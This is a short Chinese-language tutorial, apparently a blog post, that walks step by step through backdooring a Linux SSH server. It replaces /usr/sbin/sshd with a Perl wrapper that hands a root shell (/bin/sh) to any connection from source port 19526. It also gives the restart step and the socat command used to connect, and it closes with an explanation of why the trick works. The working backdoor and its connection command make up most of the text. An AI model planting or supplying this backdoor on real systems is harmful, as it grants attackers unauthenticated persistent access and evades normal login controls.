一,將原本的sshd從/usr/sbin移動到/usr/bin/
cd /usr/sbin
mv sshd ../bin
二,然後編輯sshd將以下內容放進去
vi sshd
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
三,給予文件執行權限
chmod 755 sshd
四,重起ssh 服務使它生效
service sshd restart
五,使用後門連入機器
socat STDIO TCP4:target_ip:22,sourceport=19526 六,原理 在 ssh 服務器的正常操作中,默認執行到/usr/sbin/sshd,這程序已被我們更改內容,其內容就是如果輸入來源開頭是一個套接字,並且源端口恰好是 19526(字符串“LF”從 ASCII 轉換為big-endian 16 位整數),則包裝器執行 /bin/sh 給客戶端
Commentaires